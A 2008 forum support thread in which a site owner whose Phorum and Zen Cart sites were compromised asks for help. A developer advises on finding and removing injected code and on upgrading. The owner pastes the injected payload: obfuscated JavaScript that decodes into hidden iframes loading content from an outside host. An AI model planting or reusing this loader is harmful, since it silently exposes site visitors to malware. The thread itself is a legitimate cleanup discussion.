someoneismissing.com / April 21, 2008 01:10AM

activex prompt

a couple of my missing person's sites were hit by something that wiped out the index and guest books via the viper guest book. i have/rent a dedicated server and it's had it's problems, so be it.

now, [peoplelookingforpeople.com] had a shell webview activex prompt and it freezes my computer. one of my other sites using zencart is doing the same thing.

i know i need to go to 5.2 with phorum but im afraid if i backup the database now, whatever the server has thats malicious on peoplelookingforpeople.com may come with the backup. im a novice but been with what i do for a few years and self taught. the peoplelookingforpeople.com is phorum, index to end.

don't go to the site if your wondering and don't know what's happening, is it possible the phorum script was compromised when my other script were? the prompt is and ONLY shows halfway on the bar in yellow, NOT fully, odd.... it says - shell webview content and control library

thanks ya'll

ps: why does spellcheck want to correct phorum?

Thomas Seifert / April 21, 2008 08:15AM

Re: activex prompt

so, what is your question?
not only that your phorum is not 5.2 yet (which wouldn't be much of a hassle) but its even a really old 5.1.15 version while 5.1.25 was the last 5.1 release by now. you should at least upgrade to that version.
it looks like some script tag was added either to the end of the scripts or the templates. I guess just all scripts got that added. you should remove that code ASAP.
if someone had access to your server through another script he could change each and every script accessible by the user your other scripts run at and therefore probably also to phorum.

Thomas Seifert

---

someoneismissing.com / April 21, 2008 09:15AM

Re: activex prompt

ok, thanks, you answered my question about the script being compromised. how do i find what they added? can you help me with that? or try and upgrade and see if that fixes it?

thank you

Thomas Seifert / April 21, 2008 09:22AM

Re: activex prompt

just check the php files to see if there was anything added in the end. like <script something ...

Thomas Seifert

---

someoneismissing.com / April 21, 2008 09:29AM

Re: activex prompt

you mean like this on the index.php?

<///script////>var source ="=jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5815'vtfs>xfcsppu#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf? =jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5813'vtfs>hpdpvoufs#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";

for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);

document.write(result); <////script////>

i added those extra ///

Thomas Seifert / April 21, 2008 09:30AM

Re: activex prompt

yes, is that after the closing ?> in each php script there?
seems like someone had full access to the files then.

Thomas Seifert

---

someoneismissing.com / April 21, 2008 09:32AM

Re: activex prompt

darn, i removed it. and now the site is fine. how do prevent this from happening and is the rest of the script hosed too? will the upgrade be ok now?

Thomas Seifert / April 21, 2008 10:41AM

Re: activex prompt

did you do this only in index.php and checked the others? I can't tell you what is hacked on your site.
upgrade should replace the php files but I have no idea how they came in on your server. you have to check that.

Thomas Seifert
